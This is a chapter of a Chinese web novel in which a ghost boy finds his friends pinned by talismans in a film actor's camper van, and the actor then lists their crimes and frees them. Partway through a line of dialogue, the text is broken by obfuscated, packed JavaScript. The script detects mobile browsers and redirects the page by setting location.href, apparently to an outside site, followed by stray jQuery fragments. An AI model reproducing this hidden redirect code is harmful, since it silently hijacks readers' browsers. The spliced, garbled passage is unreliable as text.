司影两眼一黑,差点四仰八叉摔倒在地。
小阿飘要完蛋,易青川要拿他祭天!
兔子般警觉的少年,第一反应是夺命狂奔。
司影在所能行动的最大范围,从这头奔到那头,从那头再奔到这头。
地毯式搜寻易青川的动静。
没找着。
小阿飘奔得筋疲力尽,蔫了吧唧,垂头丧气,如同一张薄薄的透明风筝般,飘在树上。
司影仰面朝天想了想,觉得不对头。
易青川虽然拥有十层俄罗斯套娃,可此前这么多天,只套了他一个飘。
也没听说要把他卖给什么变态的客户、做牌儿的天师。
甚至这附近每天路过的孤魂小野飘,这么多,也没见对方再抓一个。
今天真的一口气抓了九个?!
司影越想越不对,猛然一惊,今天他没看到余刀!
余刀说过,还会回来救他。
念及此,司影朝着易青川的休息区方向,一路往回奔。
呼啦啦——嗖嗖——
小阿飘几个起落,就回到了对方的房车。
易青川不在里面。
申又也没在附近,到执行制片那边,交流工作去了。
司影四周查看了一圈,未觉异样,直到往那半敞的车窗里,瞥了一下。
小阿飘傻眼了。
宽敞明亮的大房车上,座位靠背、单人沙发、小餐桌、置物架……每个位置都被贴了一张符!
包括左右两侧车门上的,一共九张符。
除此之外,后排座位的角落,还摆着那叠起来的一整摞俄罗斯套娃。
除去申又随身携带、那只用来封印小阿飘的酒红色套娃,还剩下九只,都在这了。
司影小心翼翼地飘进车窗。
下一秒,他就看见了余刀。
余刀被钉在最近的车门处,脑门上贴着一张小小的黄符。
双目紧闭,一动不动。
戴红色棒球帽的小脑袋,无力地垂下,不知道是不是受伤了。
司影震惊地捂住了心口。
余刀被抓住了!
与余刀一同被抓住的,还有另外八个小阿飘。
在常人来看,也不过是有年轻人恶作剧,将这黄了吧唧的小纸片,贴了满车。
可司影知道,不是那么回事!
每一个座位上,每一张符纸底下,都钉了一个小阿飘!
“余小刀,余小刀!”司影使劲儿摇晃好兄弟。
直到余刀悠悠醒转:
“哎,又栽了,你那个硬茬子,也太硬了……”
“易青川他人呢?是他把你们钉在这的?!”
司影双手用力,试图去揭下余刀脑门上的符纸,尝试了半天,不好使。
“没用的。”余刀摇头叹息:
“我今天带来的,可都是我一顶一的人脉:我学校里《战斗飘攻击术》科目成绩第一的学霸飘;我邻居当中,专门研究对付人类天师的专家飘;还有2000年前手上就沾过人命的杀人飘;以及刚从无间地狱里出来的流氓飘,是真·流氓!……就差我上一个副本的太奶、以及上上个副本的亲爹了……”
一个个,都被易青川给钉这了。
余刀营救行动宣告失败。
司影仿佛泄了气的皮球,陪着余刀一起,肩并着肩,蹲在车门底下,缩成小小的一只。
余刀不服:“我这些人可都是成千上万年的道行,他们之中,有的光读书就读了三千年呢……不过司小影,你别怕,但凡老子还没魂飞魄散,我非想办法救你出来不可。”
司影心中五味杂陈。
余刀为救他,栽了大跟头。
小阿飘不认怂!
想了想,司影抬眸问:
“易青川多少年道行?”
这次,是被钉在司机位置上那位,扎双马尾的漂亮少女飘,说了话:
“没有道行。”
其他被钉住的阿飘们,也纷纷开口:
“凡人一个!”
“可也不是普通的凡人。”
“他的事,警飘都不管。”
“冥阳两界查无此人!”
司影一点一点地燃起了斗志:
“大家是为救我而来的,我去干死他!”
话音落下,司影一转身、一抬头,易青川的身影,悄无声息站在车门外。
拍摄收工了。
“这么想干死我?嗯?”
倚着车门,易青川抬眸,西下的夕阳将青年修长的影子,映成斜斜的一条,还挺好看。
易青川也觉着眼前飘在半空中的少年,那张牙舞爪的模样,有趣极了。
“姓易的,你快放了我的朋友们!否则我跟你玩命!”
司影拼了。
“你没有命可以玩了,我倒是有一条,陪你玩玩?”
易青川继续逗,小阿飘气炸了。
“你个大骗子!冒牌天师!飘贩子!你要是敢欺负他们……”
话音未落,再次被眼前的不正经大明星打断:
“我连你也敢欺负,试试?”
小阿飘气得发昏,深深地呼吸了一会儿。
做了好一番心里建设,才挣扎着放下高傲的尊严:
“易青川,你能不能放了他们?我不跑了还不行吗……”
这是小阿飘头一次在易青川面前说软话。
司影生前不是这个性子,在娱乐圈的这些年,那个名叫庄舟的少年,倔强刚烈,一腔孤勇,宁折不弯。
要不然,他也不至于死。
成为小阿飘后,反倒温软了许多。
经过了生生死死、见惯了人情冷暖。
小阿飘那根比擀面杖还直的脊梁骨,也是折了又折,弯了再弯。
敞开的车窗外,有初升的月色,倾洒在少年琉璃般清透的脸庞,像是动人心弦的精美瓷器。
易青川上车了。
司影垂头丧气,超小声:
“他们是来给我过祭日的,后天冬月初一,是我的祭日,我跟余小刀说,过完今年祭日,我就去投胎转世了。”
易青川身形定了好一会,没说话。
“他们都是我的朋友。”司影补充了句。
易青川从车前走到车后,慢悠悠地扫视了一圈,被自己钉住的九个小阿飘。
给了一句中肯的评价:
“你朋友圈还挺硬。”
司影茫然抬头。
易青川一伸手,将小餐桌上的那道小黄符摘了,修长的指尖敲了敲桌面:
“这个,地府里三生石州的头号通缉飘,涉嫌触犯《三次元众生保护法》一百多条。听说警方悬赏50亿冥币抓他,通缉令贴的满街都是,手上沾了三条人命,制造了一场车祸、一场猝死、一场诱导跳楼。”
易青川说着,又去摘小沙发上的第二道符:
“这个,望乡州的嫌疑飘,涉嫌干扰阳间磁场,引发人类抑郁症、焦虑症、精神分裂症多起,正在被望乡州飘飘检察院起诉。”
“这个,蒿里州、彼岸州的留窜飘,打架斗殴的惯犯,无间地狱的常客,已经被当地警方训诫过多次,屡教不改。”
“这个,奈何州的经济犯,多次涉嫌副本违规,尤其在投胎启动上一个副本前,曾向孟婆官方转世事务所工作人员行贿,导致孟婆汤掺水,转世后恶意扰乱楼市股市。”
“这个,忘川州的诈骗犯,曾在两百年前的一次副本中,涉嫌利用玄学违禁物品,篡改剧情,强行插入别人的人生,已被多位队友连环投诉。”
……
易青川一句爆料,揭下一张符,一个个阿飘地爆,一张张黄符地揭。
到最后,九张黄符全部揭下。
没有飘敢跑。
从长相穷凶恶极的恶霸飘,到身形娇小玲珑的少女飘,一个个身世背景、过往经历,全都说得一清二楚。
这真是遇到了硬茬子!
最后,易青川目光落在司影身上,顿了半晌,开口:
“后天祭日之前,送你去投胎。”
小阿飘呆住了。
也不知道对方这语气里,究竟带了几分正经、几分玩笑。
言罢,易青川扭头,向着一车的犯罪飘:
“还不走?”
八个小阿飘一溜烟地从窗子里飘走了,有几个飘得战战兢兢、歪歪斜斜,还差一点扑在了土路上。
只剩下余刀。
余刀扯了扯司影的衣角,司影又推了推余刀的胳膊。
“余小刀,你快走吧。”
“你跟我一起走。”
“后天初一晚上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269726|165214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
零点,你到奈何桥头剧本市集等我。”
“你真信他会放了你?”
司影想了想,又抬头看了看易青川,点点头。
余刀警觉地盯了几眼易青川,思索片刻,咬牙痛下决心:
“行,后天我去奈何桥头,等不到你我不走!”
……
月上中天,片场灯火林立,余刀被放走了。
今晚,易青川还有一场夜戏,当下全组筹备。
司影依旧回到行李箱上坐着,看着工作人员忙忙碌碌,期间谁都没再说一句话。
直到易青川去拍戏。
小阿飘悄无声息地跟上去了。
说起来,这些天千方百计地逃跑,而今,易青川答应要放他走了,小阿飘心里不知为什么,反倒有几分五味杂陈。
他要是真能挑着个好剧本,投胎了。
就不记得易青川了。
小阿飘想再多看看他。
拍摄休息时,那看起来面善又慈祥的大导演,笑呵呵地亲自给演员们讲戏。
易青川认真听大导演交流。
旁边翻开的一叠厚厚剧本上,有夜风吹动纸张,哗啦啦地翻动。
司影趴在剧本上,阅读今天易青川刚刚拍摄的两场戏。
经过这么一番折腾,小阿飘饿了。
看看剧本,又看看易青川,饿得小阿飘身上,原本一层淡淡的月白色光晕,都变得更浅了。
今天,易青川一个白天,外加半个通宵的拍摄,除了早上给小阿飘拿了两块香蜡,还没来得及供香火。
年根底下,附近没有剧组开机,小阿飘也吃不着外面的香火。
司影想不通,他跟着易青川拍了好几天戏,明明易大明星这剧本里,也是有那么几场暧昧戏的。
怎么就没有一丁点真心掉落,能当小零食的那种?
小阿飘饥肠辘辘。
饿得扁扁。
待到听完导演讲戏,易青川返回房车,瞥了一眼蔫了吧唧的少年。
继而转身拿香蜡。
从背包里翻了一会,忽然像是想起来什么似的,回到小阿飘身边,将自己的剧本翻得哗啦啦作响。
其中有好几页用荧光笔划线,写了标注的场次,是今天刚刚拍摄的感情戏。
“没一点能吃的?”
司影缓缓地摇头,眼见对方一张棱角分明的俊脸,眉宇紧蹙。
小阿飘无奈地叹息:
“算了吧,你喂不饱我,你没有心。”
易青川翻动剧本的修长手指顿住了。
“那饿着吧。”
言罢,干净利落地起身。
他喂不饱这么一个飘?!
他还真就不信了。
说完话,还俯身仔细端详眼前少年越到夜晚、越是漂亮勾人的精巧五官。
怎么会有这么好看的小阿飘!
早晚有一天让他给喂饱!
司影瞥了一眼,吧唧吧唧嘴。
饿着就饿着呗,这年头还不许说实话了?
易青川走了几步,折返回来,从外套口袋里,拿出一枚浅蓝色香蜡,是刚才他在随身背包里翻出来的。
将被掌心捂得温热的漂亮小香蜡,递给小阿飘。
混了吧唧的青年,神色间忽而染上一抹难得正经的暖色。
俯下身,看了一会儿趴在折叠椅上、抱着剧本的少年。
语气间难得掩了往日里的痞气,扔下几个字:
“以后会有的。”
“?!!”
少年漂亮的粉色小舌尖,抵着那枚浅蓝小香蜡,陷入大大的疑惑。
以后会有啥?心还是香蜡?
不知道,没听懂。
……
月色清辉下,司影兔子般小口地吃着美味的香蜡。
做工精致考究的私家香火,入口丝滑,这一款是茉莉花味道的,淡而沁香,甜而不腻。
好吃!小阿飘爱吃!
司影捧着香蜡吃了半天,直到易青川拍摄完今晚全部的戏份,收工时午夜十一点。
“明天我能不能跟你请一小会假?”司影认真开口。
反正他被易青川的套娃封印着,挣不脱,也跑不掉。
“后天就是我的祭日了,我想明天下午去看看我的外婆,天黑之前我就回来。”